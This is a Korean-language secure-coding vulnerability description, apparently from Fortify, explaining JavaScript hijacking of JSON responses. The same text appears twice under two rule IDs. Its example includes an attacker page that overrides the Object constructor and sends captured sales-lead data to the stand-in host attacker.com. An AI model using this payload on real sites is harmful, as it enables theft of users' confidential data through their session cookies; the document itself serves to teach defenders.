계: Encapsulation

캡슐화는 강력한 경계를 그리는 것입니다. 웹 브라우저에서는 사용자의 모바일 코드가 다른 모바일 코드에 의해 오용되지 않도록 하는 것을 의미합니다. 서버에서는 검증된 데이터와 검증되지 않은 데이터, 한 사용자의 데이터와 다른 사용자의 데이터, 데이터 사용자가 볼 수 있는 데이터와 볼 수 없는 데이터 간의 차별화를 의미할 수 있습니다.

JavaScript Hijacking

Abstract
민감한 데이터를 전송하도록 JavaScript 주석을 사용하는 응용 프로그램은 JavaScript 하이재킹(hijacking)에 취약하므로 권한이 없는 공격자가 취약한 응용 프로그램의 기밀 데이터를 읽을 수 있습니다.
Explanation
1) 데이터 전송 형식으로 JavaScript 개체를 사용하는 경우 및 2) 기밀 데이터를 처리하는 경우 응용 프로그램은 JavaScript 하이재킹에 취약할 수 있습니다. JavaScript 하이재킹(hijacking) 취약성이 직접적인 코딩 실수의 결과로 발생하지는 않기 때문에 Fortify Secure Coding Rulepacks는 HTTP 응답에서 JavaScript를 생성하는 것으로 나타나는 코드를 식별하여 잠재적인 JavaScript 하이재킹(hijacking) 취약성을 파악합니다.

웹 브라우저는 악성 웹 사이트로부터 사용자를 보호하기 위해서 동일 출처 정책(Same Origin Policy)을 강제로 사용합니다. JavaScript가 웹 페이지의 항목에 액세스하려면 동일 출처 정책(Same Origin Policy)에 따라 JavaScript 및 웹페이지의 출처가 동일한 도메인이어야 합니다. 동일 출처 정책(Same Origin Policy)을 사용하지 않을 경우, 악성 웹 사이트가 클라이언트의 기밀을 사용하여 다른 웹 사이트의 민감한 정보를 로드하고, 정보를 발췌하며 공격자와 역으로 통신하도록 JavaScript를 사용할 수 있습니다. 웹 응용 프로그램이 기밀 정보를 통신하는 데 JavaScript를 사용할 경우, 공격자는 JavaScript 하이재킹(hijacking)을 통해 동일 출처 정책(Same Origin Policy)을 피할 수 있습니다. 동일 출처 정책(Same Origin Policy)의 허점은 다른 모든 웹사이트의 컨텍스트에 포함되고 실행되도록 모든 웹사이트의 JavaScript를 허용한다는 점입니다. 악성 사이트가 클라이언트의 취약한 사이트에서 로드한 임의의 데이터를 직접 검사할 수는 없지만, JavaScript의 실행 및 관련한 부작용을 지켜보도록 허용하는 환경을 설정하면 이러한 허점을 이용할 수 있습니다. 많은 Web 2.0 응용 프로그램에서 데이터 전송 메커니즘으로 JavaScript를 사용하기 시작한 이후, 기존의 웹 응용 프로그램에는 없는 취약점이 자주 나타납니다.

JavaScript에서 정보 통신을 위한 가장 흔한 형식은 JSON(JavaScript Object Notation)입니다. JSON RFC는 JavaScript 개체 리터럴 구문의 부분 집합이 되도록 JSON을 지정합니다. JSON은 2가지 데이터 구조, 즉 배열 및 개체를 기반으로 합니다. 하나 또는 그 이상의 유효한 JavaScript 문으로 메시지를 해석할 수 있는 모든 데이터 전송 형식은 JavaScript 하이재킹(hijacking)에 대해 취약합니다. JSON 배열은 그 자체로 유효한 JavaScript 문이므로 JSON으로 인해 JavaScript 하이재킹(hijacking)이 보다 용이해집니다. 배열은 목록을 통신하는 데 있어 자연스러운 형태이므로 일반적으로 응용 프로그램이 여러 값으로 통신해야 하는 곳마다 이 배열이 사용됩니다. 달리 표현하자면, JSON 배열은 JavaScript 하이재킹(hijacking)에 대해 매우 취약합니다. JSON 개체는 자체로서 유효한 JavaScript 문인 일부 다른 JavaScript로 래핑된 경우에만 취약합니다.

예제 1: 다음 예제는 영업 리드를 관리하는 데 사용되는 웹 응용 프로그램의 클라이언트 및 서버 구성 요소 간의 올바른 JSON 상호 작용을 보여 주는 것으로 시작합니다. 또한, 공격자가 클라이언트를 모방하는 방법 및 서버가 반환하는 기밀 데이터에 액세스하는 방법을 나타냅니다. 이 예는 Mozilla 기반 브라우저용으로 작성되었습니다. 다른 주요 브라우저는 새 연산자를 사용하지 않고 개체가 생성될 때 네이티브 구성자를 덮어 쓰는 것을 허용하지 않습니다.

클라이언트는 서버에 데이터를 요청하고 다음 코드를 사용하여 결과를 JSON으로서 평가합니다.


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


이 코드가 실행될 때, 다음과 같이 나타나는 HTTP 요청이 생성됩니다.


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(이러한 HTTP 응답 및 뒤따르는 내용에서, 본 설명과 직접적으로 관련이 없는 HTTP 헤더는 생략합니다.)
서버가 다음 JSON 형식의 배열로 응답합니다.


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


이 경우, JSON은 현재 사용자와 관련된 기밀 정보(영업 리드 목록)를 포함합니다. 다른 사용자는 사용자 세션 ID를 모르고서는 본 정보에 액세스할 수 없습니다. (최신 웹 응용 프로그램에서는 세션 ID가 쿠키로 저장됩니다.) 그러나, 피해자가 악성 웹 사이트를 방문하는 경우, 악성 사이트에서 JavaScript 하이재킹(hijacking)을 사용하여 해당 정보를 검색할 수 있습니다. 피해자가 속아서 다음 악성 코드를 포함하는 웹 페이지를 방문하는 경우, 피해자의 리드 정보(lead information)가 공격자의 웹 사이트로 전송됩니다.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


악성 코드는 스크립트 태그를 사용하여 현재 페이지에 JSON 개체를 포함합니다. 웹 브라우저에서는 요청과 함께 적절한 세션 쿠키를 보냅니다. 즉 이 요청이 올바른 응용 프로그램에서 생성된 것처럼 처리됩니다.

JSON 배열이 클라이언트에 도착하면 이 배열은 악성 페이지의 컨텍스트에서 평가됩니다. JSON 평가를 모니터링하기 위해 악성 페이지에는 새 개체를 생성하는 데 사용되는 JavaScript 함수가 새롭게 정의되었습니다. 이를 통해 악성 코드가 후크를 삽입하여 각 개체 생성 작업에 액세스하고 개체 콘텐트를 악성 사이트로 다시 전송할 수 있게 되었습니다. 대신 다른 공격이 배열의 기본 생성자를 오버라이드할 수 있습니다. 매시업에서 사용하도록 작성된 응용 프로그램이 각 JavaScript 메시지의 끝에서 콜백 함수를 호출하는 경우가 있습니다. 이 콜백 함수는 매시업의 다른 응용 프로그램이 정의하도록 하기 위한 것입니다. 콜백 함수를 사용하면 JavaScript 하이재킹(hijacking) 공격을 간단하게 수행할 수 있습니다. 모든 공격자가 해야 할 작업은 함수만 정의하는 것입니다. 응용 프로그램은 매시업하기 쉽거나 안전하게 보호되는 상태일 수 있지만 동시에 두 상태일 수는 없습니다. 사용자가 취약한 사이트에 로그인되어 있지 않으면 공격자는 사용자에게 로그인을 요청한 후 적법한 응용 프로그램 로그인 페이지를 표시하여 공격을 시도할 수 있습니다.

이때 공격자가 사용자 자격 증명에 대한 액세스 권한을 얻지는 않기 때문에 이 방식은 피싱 공격이 아닙니다. 그러므로 피싱 방지 기능을 사용해도 공격을 피할 수 없습니다. 보다 복잡한 공격에서는 JavaScript를 사용하여 스크립트 태그를 동적으로 생성함으로써 응용 프로그램에 일련의 요청을 할 수 있습니다. 이와 동일한 기술을 사용하여 응용 프로그램 매시업을 생성하는 경우도 있습니다. 두 가지 경우의 차이는 매시업 시나리오의 경우 대상 응용 프로그램 중 하나가 악성 응용 프로그램이라는 점입니다.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
desc.dataflow.java.javascript_hijacking
Abstract
민감한 데이터를 전송하도록 JavaScript 주석을 사용하는 응용 프로그램은 JavaScript 하이재킹(hijacking)에 취약하므로 권한이 없는 공격자가 취약한 응용 프로그램의 기밀 데이터를 읽을 수 있습니다.
Explanation
1) 데이터 전송 형식으로 JavaScript 개체를 사용하는 경우 및 2) 기밀 데이터를 처리하는 경우 응용 프로그램은 JavaScript 하이재킹에 취약할 수 있습니다. JavaScript 하이재킹(hijacking) 취약성이 직접적인 코딩 실수의 결과로 발생하지는 않기 때문에 Fortify Secure Coding Rulepacks는 HTTP 응답에서 JavaScript를 생성하는 것으로 나타나는 코드를 식별하여 잠재적인 JavaScript 하이재킹(hijacking) 취약성을 파악합니다.

웹 브라우저는 악성 웹사이트로부터 사용자를 보호하기 위해 동일 출처 정책(Same Origin Policy)을 강제 적용합니다. JavaScript가 웹 페이지의 항목에 액세스하려면 동일 출처 정책(Same Origin Policy)에 따라 JavaScript 및 웹페이지의 출처가 동일한 도메인이어야 합니다. 동일 출처 정책(Same Origin Policy)을 사용하지 않을 경우, 악성 웹 사이트가 클라이언트의 기밀을 사용하여 다른 웹 사이트의 민감한 정보를 로드하고, 정보를 발췌하며 공격자와 역으로 통신하도록 JavaScript를 사용할 수 있습니다. 웹 응용 프로그램이 기밀 정보를 통신하는 데 JavaScript를 사용할 경우, 공격자는 JavaScript 하이재킹(hijacking)을 통해 동일 출처 정책(Same Origin Policy)을 우회할 수 있습니다. 동일 출처 정책(Same Origin Policy)의 허점은 다른 모든 웹사이트의 컨텍스트에 포함되고 실행되도록 모든 웹사이트의 JavaScript를 허용한다는 점입니다. 악성 사이트는 클라이언트의 취약한 사이트에서 로드된 데이터를 직접 검사할 수 없지만 JavaScript 실행 및 관련 부작용을 관찰할 수 있는 환경을 설정하여 이 허점을 이용할 수 있습니다. 많은 Web 2.0 응용 프로그램이 JavaScript를 데이터 전송 메커니즘으로 사용하기 때문에 기존 웹 응용 프로그램과 달리 취약한 경우가 많습니다.

JavaScript에서 정보 통신을 위한 가장 흔한 형식은 JSON(JavaScript Object Notation)입니다. JSON RFC는 JavaScript 개체 리터럴 구문의 부분 집합이 되도록 JSON을 지정합니다. JSON은 2가지 데이터 구조, 즉 배열 및 개체를 기반으로 합니다. 하나 또는 그 이상의 유효한 JavaScript 문으로 메시지를 해석할 수 있는 모든 데이터 전송 형식은 JavaScript 하이재킹(hijacking)에 대해 취약합니다. JSON 배열은 그 자체로 유효한 JavaScript 문이므로 JSON으로 인해 JavaScript 하이재킹(hijacking)이 보다 용이해집니다. 배열은 목록을 통신하는 데 있어 자연스러운 형태이므로 일반적으로 응용 프로그램이 여러 값으로 통신해야 하는 곳마다 이 배열이 사용됩니다. 달리 표현하자면, JSON 배열은 JavaScript 하이재킹(hijacking)에 대해 매우 취약합니다. JSON 개체는 자체로서 유효한 JavaScript 문인 일부 다른 JavaScript로 래핑된 경우에만 취약합니다.

예제 1: 다음 예제는 영업 리드를 관리하는 데 사용되는 웹 응용 프로그램의 클라이언트 및 서버 구성 요소 간의 올바른 JSON 상호 작용을 보여 주는 것으로 시작합니다. 또한, 공격자가 클라이언트를 모방하는 방법 및 서버가 반환하는 기밀 데이터에 접근하는 방법을 나타냅니다. 이 예는 Mozilla 기반 브라우저용으로 작성되었습니다. 다른 주요 브라우저는 새 연산자를 사용하지 않고 개체가 생성될 때 네이티브 구성자를 덮어 쓰는 것을 허용하지 않습니다.

클라이언트는 서버에 데이터를 요청하고 다음 코드를 사용하여 결과를 JSON으로서 평가합니다.

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


이 코드가 실행될 때, 다음과 같이 나타나는 HTTP 요청이 생성됩니다.


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(이러한 HTTP 응답 및 뒤따르는 내용에서, 본 설명과 직접적으로 관련이 없는 HTTP 헤더는 생략합니다.)
서버가 다음 JSON 형식의 배열로 응답합니다.


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


이 경우, JSON은 현재 사용자와 관련된 기밀 정보(영업 리드 목록)를 포함합니다. 다른 사용자는 사용자 세션 ID를 모르고서는 본 정보에 접근할 수 없습니다. (최신 웹 응용 프로그램에서는 세션 ID가 쿠키로 저장됩니다.) 그러나, 피해자가 악성 웹 사이트를 방문하는 경우, 악성 사이트에서 JavaScript 하이재킹(hijacking)을 사용하여 해당 정보를 검색할 수 있습니다. 피해자가 속아서 다음 악성 코드를 포함하는 웹 페이지를 방문하는 경우, 피해자의 리드 정보(lead information)가 공격자의 웹 사이트로 전송됩니다.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


악성 코드는 스크립트 태그를 사용하여 현재 페이지에 JSON 개체를 포함합니다. 웹 브라우저에서는 요청과 함께 적절한 세션 쿠키를 보냅니다. 즉 이 요청이 올바른 응용 프로그램에서 생성된 것처럼 처리됩니다.

JSON 배열이 클라이언트에 도착하면 이 배열은 악성 페이지의 컨텍스트에서 평가됩니다. JSON 평가를 모니터링하기 위해 악성 페이지에는 새 개체를 생성하는 데 사용되는 JavaScript 함수가 새롭게 정의되었습니다. 이를 통해 악성 코드가 후크를 삽입하여 각 개체 생성 작업에 접근하고 개체 콘텐트를 악성 사이트로 다시 전송할 수 있게 되었습니다. 대신 다른 공격이 배열의 기본 생성자를 오버라이드할 수 있습니다. 매시업에서 사용하도록 작성된 응용 프로그램이 각 JavaScript 메시지의 끝에서 콜백 함수를 호출하는 경우가 있습니다. 이 콜백 함수는 매시업의 다른 응용 프로그램이 정의하도록 하기 위한 것입니다. 콜백 함수를 사용하면 JavaScript 하이재킹(hijacking) 공격을 간단하게 수행할 수 있습니다. 모든 공격자가 해야 할 작업은 함수만 정의하는 것입니다. 응용 프로그램은 매시업하기 쉽거나 안전하게 보호되는 상태일 수 있지만 동시에 두 상태일 수는 없습니다. 사용자가 취약한 사이트에 로그인되어 있지 않으면 공격자는 사용자에게 로그인을 요청한 후 적법한 응용 프로그램 로그인 페이지를 표시하여 공격을 시도할 수 있습니다.

이때 공격자가 사용자 자격 증명에 대한 액세스 권한을 얻지는 않기 때문에 이 방식은 피싱 공격이 아닙니다. 그러므로 피싱 방지 기능을 사용해도 공격을 피할 수 없습니다. 보다 복잡한 공격에서는 JavaScript를 사용하여 스크립트 태그를 동적으로 생성함으로써 응용 프로그램에 일련의 요청을 할 수 있습니다. 이와 동일한 기술을 사용하여 응용 프로그램 매시업을 생성하는 경우도 있습니다. 두 가지 경우의 차이는 매시업 시나리오의 경우 대상 응용 프로그램 중 하나가 악성 응용 프로그램이라는 점입니다.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
desc.dataflow.javascript.javascript_hijacking